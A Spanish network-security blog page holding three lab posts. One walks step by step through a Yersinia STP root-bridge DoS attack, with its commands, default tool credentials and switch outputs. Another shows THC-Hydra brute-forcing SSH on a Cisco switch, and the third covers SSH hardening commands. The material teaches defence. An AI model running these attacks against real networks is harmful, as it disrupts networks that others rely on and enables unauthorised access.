Archivo de la categoría: Dispositivos y Sistemas

Seguridad e [in]seguridad en dispositivos y sistemas ICS/SCADA.

Protegiendo STP, Parte I

Posted on por
Responder
Anuncios

Spanning Tree Protocol (STP) es un protocolo que permite dotar a nuestra red de un entorno  de tolerancia ante fallos mediante la creación de enlaces redundantes. Estos enlaces generarán bucles en la red, lo cual  introduce serios problemas a nuestra infraestructura. Dada la ausencia de un campo como el TTL en las cabeceras del protocolo IP, que se decrementa en “1” por cada dispositivo de capa 3 por el que pasa; en una trama, unidad de capa 2, no hay nada similar con lo las tramas pueden circular indefinidamente en nuestra red. Esto es especialmente dañino en el caso de tramas Broadcast pudiendo afectar también el Unicast,  provocando una ralentización de la red tanto por el consumo de ancho de banda de los enlaces como de CPU de los switches.

No me voy a detener en explicar cómo funciona dicho protocolo, para eso os dejo algunos enlaces cuyos autores lo hacen muy bien:

Enlace 1

Enlace 2

Enlace 3

Enlace 4

Enlace 5

A partir de este protocolo han ido surgiendo otros como RSTP, PVSTP+, PVRSTP y MST que basándose en la idea original han ido evolucionando y aportando mejoras.

Lo cierto es que este protocolo no está exento de problemas. Me explico, como todo protocolo es fácil “ponerlo en marcha”, pero desde el punto de vista de la seguridad y de la topología de nuestra red debiéramos añadir algunas configuraciones adicionales para no llevarnos “sustos”.

Pongamos un ejemplo. Dada la siguiente topología, tenemos el switch “SW-CORE-01” como el switch con “menos” prioridad, 8192. Luego el “SW-CORE_02”, con 32768. Finalmente el “SW-OFICINAS-01”, con 65535. Esto quiere decir que inicialmente todo el tráfico a nivel 2, generado por los equipos conectados a “SW-OFICINAS-01” irá hacia el “SW-CORE-01” por la interfaz Fa 1/14. Si este enlace se rompiese por alguna razón, el “SW-OFICINAS-01” levantará el enlace que tiene bloqueado, el Fa 1/15 que lo une con “SW-CORE-02” y comenzará a enviar las tramas hacia él.

La configuración de los tres equipos quedaría así: 

sw-core-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    8192

Address     c200.0480.0000

This bridge is the root

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    8192

Address     c200.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD     0  8192 c200.0480.0000 128.41

FastEthernet1/15     128.56   128    19 FWD     0  8192 c200.0480.0000 128.56

SW-CORE-02#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    8192

Address     c200.0480.0000

Cost        19

Port        56 (FastEthernet1/15)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    32768

Address     c201.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 32768 c201.0480.0000 128.41

FastEthernet1/15     128.56   128    19 FWD     0  8192 c200.0480.0000 128.56

SW-OFICINAS-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    8192

Address     c200.0480.0000

Cost        19

Port        55 (FastEthernet1/14)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    65535

Address     c202.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 65535 c202.0480.0000 128.41

FastEthernet1/14     128.55   128    19 FWD     0  8192 c200.0480.0000 128.41

FastEthernet1/15     128.56   128    19 BLK    19 32768 c201.0480.0000 128.41

A todo esto tenemos un atacante en conectado a interfaz FA 1/0 del “SW-OFICINAS-01”.

Pero… ¿qué podría hacer nuestro atacante? Bueno si tenemos el switch de acceso “SW-OFICINAS-01” configurado sin más parámetros referentes a STP, pueeeesssss bastante daño…

Mediante la aplicación Yersinia, de la cual ya he hablado en otros posts,  podríamos lanzar un ataque enviando BPDUs especialmente diseñadas y provocar que la red se desestabilice. ¿Cómo? Ahí vamos…

Correremos la aplicación en modo daemon_

root@bt:~# yersinia –D

Luego abrimos un teleet contra la interfaz loopback. Las credenciales son root, root.

root@bt:~# telnet 127.0.0.1 12000

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘^]’.

Welcome to yersinia version 0.7.1.

Copyright 2004-2005 Slay & Tomac.

login: root

password: root 

MOTD: Do you have a Lexicon LX-7? Share it!! 😉

Entramos como super usuario. La contraseña es tomac

yersinia> enable

Password:

Definimos la interfaz por donde lanzaremos el ataque:

yersinia# set stp interface eth0

De los distintos ataques que tenemos lanzaremos el número 2. Lo que haremos será mandar BPDUs de configuración indicando que el PC del atacante tiene una prioridad “0” para el protocolo STP. Esto provocará que los otros equipos al recibir esta BPDU, verán que existe “otro switch” con una prioridad menor que los otros y por lo tanto el supuesto switch deberá ser el “root bridge” y no el “SW-CORE-01”.

yersinia# run stp

<0>   NONDOS attack sending conf BPDU

<1>   NONDOS attack sending tcn BPDU

<2>   DOS attack sending conf BPDUs

<3>   DOS attack sending tcn BPDUs

<4>   NONDOS attack Claiming Root Role

<5>   NONDOS attack Claiming Other Role

<6>   DOS attack Claiming Root Role with MiTM

<cr>

yersinia# run stp 2

Ahora si verificamos la configuración de STP en cada uno de los switches nos queda:

sw-core-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    0

Address     32d6.7e27.7660

Cost        38

Port        41 (FastEthernet1/0)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    8192

Address     c200.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 65535 c202.0480.0000 128.55

FastEthernet1/15     128.56   128    19 FWD    38  8192 c200.0480.0000 128.56

SW-CORE-02#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    0

Address     1f33.e802.aab3

Cost        38

Port        41 (FastEthernet1/0)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    32768

Address     c201.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 65535 c202.0480.0000 128.56

FastEthernet1/15     128.56   128    19 BLK    38  8192 c200.0480.0000 128.56

SW-OFICINAS-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    0

Address     1330.452b.42d1

Cost        19

Port        41 (FastEthernet1/0)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    65535

Address     c202.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD     0 23630 1330.452b.42d1 128.2

FastEthernet1/14     128.55   128    19 FWD    19 65535 c202.0480.0000 128.55

FastEthernet1/15     128.56   128    19 FWD    19 65535 c202.0480.0000 128.56

Como podemos comprobar para el “SW-OFICINAS-01” el switch “root bridge” se alcanza por el puerto Fa 1/0 que es donde está conectado el supuesto atacante. Ahora en este switch el puerto Fa1/15 en lugar de estar en modo “BLOCK” está en “Forward”. Por otro lado ahora el que está en modo “Blocked” es el Fa 1/15 del “SW-CORE-02”.

Si analizamos con Wireshark el tráfico vemos como las BPDUs indican un cambio de topología, “Topology Change = 1”. También podemos ver que la dirección MAC es distinta en todos los casos, eso es porque Yersinia manda las distintas Tramas con MAC de origen aleatoria.

¿Cómo evitar todo esto? Eso es el tema de la siguiente entrada….

Seguiremos informando…

Mejorando acceso por SSH (Parte II)

Posted on por
Anuncios

Vamos entonces con la segunda parte de Mejorando SSH. Como decía, si bien SSH en sí mismo nos da unas garantías de seguridad podemos realizar algunas configuraciones adicionales para afinarlo un poquito más. Pero… ¿con qué objetivo? A esto vamos hoy.

Uno de los ataques o pruebas de Pentest que podemos sufrir o hacer, es mediante aplicaciones que lancen sucesivos intentos de conexión proporcionando usuarios y contraseñas generadas u obtenidas previamente, para tratar de ganar acceso al equipo en cuestión.

Un ejemplo de este software es THC-Hydra, que como ellos lo definen es un “A very fast network logon cracker which support many diferent services” y que viene incluido dentro de la distribución Backtrack. Entre todos los protocolos que soporta no podía falta SSH.

A continuación veremos qué ocurre si lanzamos un ataque de esta índole a un equipo, en concreto el utilizado para hacer este post, con el fin de saber la respuesta de éste. Como digo bien fruto de un intento de acceso ilegítimo o prueba de Pentest.

Abriremos nuestra máquina con Backtrack y ejecutaremos THC-Hydra pero en su versión gráfica que resulta más amigable. Iremos pues a Backtrack -> Privilege Escalation -> Password Attacks -> Online Attacks -> hydra-gtk

Ahora deberemos configurar la herramienta acorde a nuestras preferencias, es decir:

Seleccionamos el objetivo, 192.168.10.10. Nosotros ya lo sabemos, no obstante, podremos aprovecharnos de otros protocolos mal configurados como CDP, STP, etc. o lanzando un NMAP, ver por nombres de equipo cuál puede ser más distinto que el resto, o bien por los primeros 24 bits de la MAC que identifican al fabricante.

Indicamos los ficheros que contienen tanto el nombre de los usuarios como las contraseñas.

Indicamos la contraseña de “enable” para dispositivos Cisco, en mi caso he puesto “labtest,test,admin”:

 

Y finalmente daría a “Start”:

Si a nuestro equipo no le hubiéramos configurado los siguientes parámetros del post anterior:

ip ssh time-out 15

ip ssh authentication-retries 2

ip ssh source-interface Vlan10

ip ssh logging events

ip ssh version 2

¿Qué pasaría?

Que Hydra comenzará a tratar de conectarse al equipo abriendo conexiones en SSH. Esto implicará un aumento en la carga de CPU ya que deberá repetirse el proceso de establecimiento de conexión de TCP, negociado y cálculo de claves antes de realizar el envío de credenciale (usuario y contraseña), lo cual requiere una carga computacional. Si eso se repite constantemente…. Pues para ver lo que pasa ejecutaremos:

LAB_TEST#show processes cpu history 

Y obtendremos la siguiente gráfica:

Como podemos apreciar la CPU se sube de “vueltas” con esta acción alcanzando porcentajes del 99%. Lógicamente esto puede desembocar en problemas con las comunicaciones con los equipos finales, los usuarios estarían diciendo “Esto va un poco lento”, “La red no funciona”, “le cuesta abrir mucho este archivo”, etc. etc. etc. El problema es que salvo que tengamos otros protocolos, alertas, etc. configurados en el equipo, o monitorizando su actividad no nos enteraríamos ya que no tenemos registro de los intentos de conexión que está queriendo hacer Hydra.  De ahí que si logueamos las conexiones de SSH con:

LAB_TEST(config)#ip ssh logging events 

Y entonces, va a ser un no parar de mensajes en consola, pero por lo menos nos enteramos de la que nos está cayendo…

 

Además, ¡Ya tenemos las IP desde dónde nos están mandando los intentos de conexión!

Otro ejemplo claro sería el comando:

LAB_TEST(config)#ip ssh time-out 15

De esta manera si alguien abriese sucesivas conexiones a nuestro equipo y no introducimos el usuario, el switch se mantendrá esperando 120 segundos. ¿Para qué tanto tiempo? Limitémoslo a 15 que es más que suficiente.

En el caso de la versión, si no especificamos la 2 un usuario podría conectarse en la versión 1 configurando el cliente SSH para ese efecto y  dado que SSHv1 presenta una vulnerabilidad… Pues vamos a intentar no utilizar un protocolo vulnerable, ¿no? De todos modos os dejo la forma en la que podríamos hacerlo.

Y la consiguiente captura…

Pero si configuramos:

 LAB_TEST(config)#ip ssh version 2

Pues nos sale:

Y nuevamente la captura:

Bueno creo que ya ha quedado demostrado lo importante que a pesar de utilizar protocolos que ofrecen garantías de seguridad, cómo debemos ir más allá y “pulir” parámetros mejorar el acceso a nuestros equipos y si algo anómalo pasase pues darnos cuenta de ello. También hay que decir que las opciones expuestas no son las únicas, pero el ejemplo lo que querido hacer sobre un switch normalito cuyo uso tendrá más alcance que uno de la serie 6500 por ejemplo. 

No debemos olvidar que el acceso SSH se realiza por la línea VTY y ésta también tiene otras opciones que reforzarán a las que acabamos de explicar. Entre otras, limitar el número de conexiones concurrentes; reducir el time-out de conexión; aplicar una ACL para que las conexiones se realicen desde equipos concretos como los de los administradores de red; etc, etc.

Espero que hay gustado, os dejo hasta la próxima…

Seguiremos informando.

Mejorando acceso por SSH (Parte I)

Posted on por
Anuncios

Bueno, aquí estamos otra vez. En esta ocasión vamos a meternos con el protocolo SSH. SSH son las iniciales del protocolo Secure SHel, utilizado ampliamente para conectarse a un host u otros equipos y poder administrarlos mediante una consola. Todo el tráfico que se intercambie entre el servidor (el equipo al que nos conectamos) y el cliente (equipo desde el cual nos vamos a conectar) irá cifrado, incluso las credenciales utilizadas para loguearnos. A diferencia de Telnet en el que el tráfico viaja en texto claro, SSH nos ofrece unas garantías de seguridad importantes.

Aunque los equipos de red también pueden ser administrados vía Web o incluso por medio SNMP, SSH está ampliamente extendido. Su implementación es sencilla, basta con configurar unos parámetros y ya podremos conectarnos. Sin embargo en esta ocasión vamos a ir un poco más allá y vamos a ver cómo podemos afinar un poco más  este protocolo, y mejorar el acceso nuestros dispositivos de red. Obviamente esta no es la única media, se podrían hacer otras muchas más configuraciones a nivel de equipo, con otros protocolos, otros parámetros, pero este no es este el caso. Hoy nos centraremos en SSH.

Al lío, las pruebas las he realizado con un switch de acceso del fabricante, para variar, Cisco. Será uno de la serie 2960 en concreto un WS-C2960-24TC-L con una IOS c2960-lanbasek9-mz.122-50.SE5.bin

Para configurar SSH bastaría con asignar un nombre al equipo, un dominio, y generar las claves para SSH. Mejor que describirlo os paso un ejemplo:

Switch#conf t

Switch(config)#hostname LAB_TEST

LAB_TEST(config)#ip domain-name LABTEST.lcl

LAB_TEST(config)#crypto key generate rsa

The name for the keys will be: LAB_TEST.LABTEST.lcl

Choose the size of the key modulus in the range of 360 to 2048 for your

General Purpose Keys. Choosing a key modulus greater than 512 may take  a few minutes.

How many bits in the modulus [512]: 1024

% Generating 1024 bit RSA keys, keys will be non-exportable…[OK]

*Mar  1 00:02:01.139: %SSH-5-ENABLED: SSH 1.99 has been enabled

Con lo anterior ya tendríamos configurado la parte de SSH pero aún nos queda algunos pasos más, como son:

Creación de una cuenta de usuario y contraseña local; y otra contraseña para el acceso a los permisos de la configuración del dispositivo:

LAB_TEST(config)#username labtest secret labtest

LAB_TEST(config)#enable secret labtest

Luego, configuraremos el acceso remoto siendo el protocolo entrante SSH. Se nos pedirá un login mediante usuario y contraseña almacenado en local. EL usuario y contraseña es el que hemos configurado en el paso anterior, usuario labtest y contraseña labtest

LAB_TEST(config)#line vty 0 4

LAB_TEST(config-line)#transport input ssh

LAB_TEST(config-line)#login local

LAB_TEST(config-line)#exit

También, aprovecharemos para permitir acceso a la línea de consola de la misma manera que en el paso anterior en lo que credenciales se refiere. Obviamente como entramos por consola, conectado directamente al equipo no le indicamos el protocolo de entrada.

LAB_TEST(config)#line console 0

LAB_TEST(config-line)#login local

LAB_TEST(config-line)#exit

Deshabilitamos la VLAN 1.

LAB_TEST(config)#interface vlan 1

LAB_TEST(config-if)#shutdown

LAB_TEST(config-if)#exit

Creamos una VLANnueva , en este caso la 10 y le asignamos un nombre.

LAB_TEST(config)#vlan 10

LAB_TEST(config-vlan)#name LAB_TEST

LAB_TEST(config-vlan)#exit

Para accede remotamente al equipo creamos una interfaz virtual, la levantamos y le asignamos una IP, en este caso la 192.168.10.10. Al switch también le tenemos que indicar una puerta de enlace que será la 192.168.10.1 para acceso desde otra red.

LAB_TEST(config)#interface vlan 10

LAB_TEST(config-if)#ip address 192.168.10.10 255.255.255.0

LAB_TEST(config-if)#no shutdown

LAB_TEST(config-if)#exit

LAB_TEST(config)#ip default-gateway 192.168.1

Configuramos el resto de puertos como puertos de acceso y los asignamos a la VLAN 10. La velocidad y el dúplex lo dejamos por defecto, es decir auto-auto.

LAB_TEST(config)#interface range fastEthernet 0/1 – 24

LAB_TEST(config-if-range)#switchport mode access

LAB_TEST(config-if-range)#switchport access vlan 10

LAB_TEST(config-if-range)#exit 

Para hacer las pruebas, he configurado un servidor DHCP en el switch para que asigne IPs al PC físico que he pinchado a uno de los puertos configurados en el punto anterior, más algún parámetro más como el Gateway, nombre de dominio un servidor DNS, etc. Luego le indico que excluya las 20 primeras IPs de aquellas que pueda asignar según peticiones DHCP. Estaba muy vago para andar configurando IPs estáticas, 😉

LAB_TEST(config)#ip dhcp pool LABTEST

LAB_TEST(dhcp-config)#network 192.168.10.0 255.255.255.0

LAB_TEST(dhcp-config)#default-router 192.168.10.1

LAB_TEST(dhcp-config)#domain-name LABTEST.lcl

LAB_TEST(dhcp-config)#dns-server 192.168.10.10

LAB_TEST(dhcp-config)#exit

LAB_TEST(config)#ip dhcp excluded-address 192.168.10.1 192.168.10.20 

Y por supuesto guardamos la configuración.

LAB_TEST(config)#do wr

Building configuration…

[OK]

LAB_TEST(config)#

Bueno con todo esto ya podríamos decir que nos podemos conectar con un cliente SSH, como puede ser Putty a la IP 192.168.10.10.

Luego nos logueamos con labtest como “usuario”, “contraseña” y “enable”, y “pá dentro”

Si entramos en modo de configuración global y entramos en el menú de ssh, veremos que nos aparecen distintas opciones:

LAB_TEST(config)#ip ssh ?

authentication-retries                Specify number of authentication retries

dscp                                                    IP DSCP value for SSH traffic

logging                                              Configure logging for SSH

precedence                                    IP Precedence value for SSH traffic

source-interface                           Specify interface for source address in SSH connections

time-out                                           Specify SSH time-out interval

version                                              Specify protocol version supported

Pues configuremos entonces:

LAB_TEST(config)#ip ssh authentication-retries 2 

Con este comando lo utilizaremos para la cantidad de intentos que se nos permitirá meter la contraseña de forma incorrecta. Con el parámetro 2, permitiremos 3 intentos, 0=1 intentos, 1=2 intentos y 2=3 intentos.

LAB_TEST(config)#ip ssh logging events

Con este otro registraremos los eventos relacionados, apareciéndonos en la consola.

LAB_TEST(config)#ip ssh source-interface vlan 10

Este parámetro no va a ser tanto para las conexiones entrante sino las salientes. Es decir, podremos realizar conexiones ssh contra otros equipos. En ese caso con este comando, le indicaremos qué dirección IP de origen queremos utilizar. En este caso le decimos que la misma que la que tenga la VLAN 10, o sea la 192.168.10.10.

LAB_TEST(config)#ip ssh time-out 15

Con este otro le decimos que el tiempo de espera para que un usuario introduzca la contraseña será de 15 segundos. OJO, una vez logueado estará sometido al tiempo que hayamos configurado para la interfaz virtual con el comando “exec-timeout” 

LAB_TEST(config)#ip ssh version 2 

Finalmente especificamos la version ssh a utilizar, en este caso la 2.

Pero ¿porqué afinar si ya con lo que hemos hecho al principio ya teneos un acceso seguro?

Bueno pues la respuesta la dejamos para el siguiente post, ¿si? A lo dicho, un saludo y…

Seguiremos informando.